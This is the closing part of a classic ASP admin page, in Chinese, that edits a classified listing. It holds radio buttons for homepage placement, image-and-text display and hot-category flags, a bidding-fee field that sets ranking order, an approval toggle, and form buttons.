869:                 是 <font color="#FF0000">(注:设置为此属性将在排列在同栏目的首位显示,并同时显示在首页滚动</font><font color="#008080">左侧</font><font color="#FF0000">)</font></td>
870:             </tr>
871:             <tr bgcolor="#FFFFFF">
872:               <td height="26" align="right">是否首页显示:</td>
873:               <td height="26" colspan="2">
874:                 <input type="radio" value="0" name="shouye" <%if cshouye="0" then%>checked<%end if%>>
875:                 否&nbsp;
876:                 <input type="radio" value="1" name="shouye" <%if cshouye="1" then%>checked<%end if%>>
877:                 是 <font color="#FF0000">(注:首页滚动</font><font color="#008080">右侧</font><font color="#FF0000">显示)</font></td>
878:             </tr>
879:             <tr bgcolor="#FFFFFF">
880:               <td height="26" align="right">是否图文信息:</td>
881:               <td height="26" colspan="2">
882:                 <input type="radio" value="0" name="lift" <%if clift="0" then%>checked<%end if%>>
883:                 否&nbsp;
884:                 <input type="radio" value="1" name="lift" <%if clift="1" then%>checked<%end if%>>
885:                 是 <font color="#FF0000">(注:在首页右侧显示为图片及文字混合显示,如 旅游/餐饮/招生)</font></td>
886:             </tr>
887:             <tr bgcolor="#FFFFFF">
888:               <td height="26" align="right">热点分类信息:</td>
889:               <td height="26" colspan="2">
890:                 <input type="radio" value="0" name="hot" <%if chot="0" then%>checked<%end if%>>
891:                 否&nbsp;
892:                 <input type="radio" value="1" name="hot" <%if chot="1" then%>checked<%end if%>>
893:                 是 <font color="#FF0000">(注:在首页"热点分类信息"处显示)</font></td>
894:             </tr>
895:             <tr bgcolor="#FFFFFF">
896:               <td height="26" align="right">竟价费用:</td>
897:               <td height="26" colspan="2">
898:                 <input name="dmoney" size="15" maxlength="50" value="<%=cmoney%>">
899:                 元 <font color="#FF0000">(注:金额越大,排列位置越靠前)</font> </td>
900:             </tr>
901:             <tr bgcolor="#FFFFFF">
902:               <td height="26" align="right">审核:</td>
903:               <td height="26" colspan="2">
904:                 <input name="mark" type="radio" value="no" <%If cmark="no" Then%>checked<%End If%>>
905:                 未审核
906:                 <input type="radio" name="mark" value="yes" <%If cmark="yes" Then%>checked<%End If%>>
907:                 已审核</td>
908:             </tr>
909:             <tr bgcolor="#FFFFFF">
910:               <td height="30" align="right"> </td>
911:               <td height="30" colspan="2" align="right">
912:                 <p align="left">
913:                   <input type="submit" value="修改" name="submit">
914:                   &nbsp;
915:                   <input type="reset" value="取消" name="reset">
916:                   &nbsp;
917:                   <input type="button" value="返回" name="back" onclick="javascript:history.back()">
918:               </td>
919:             </tr>
920:           </table>
921:       </form>
922:       <br>    </td>
923:   </tr>
924: </table>
925: </div>
926: <br>                                                                                                                      
927: </body>
928: </html>                    
929:
930:
931: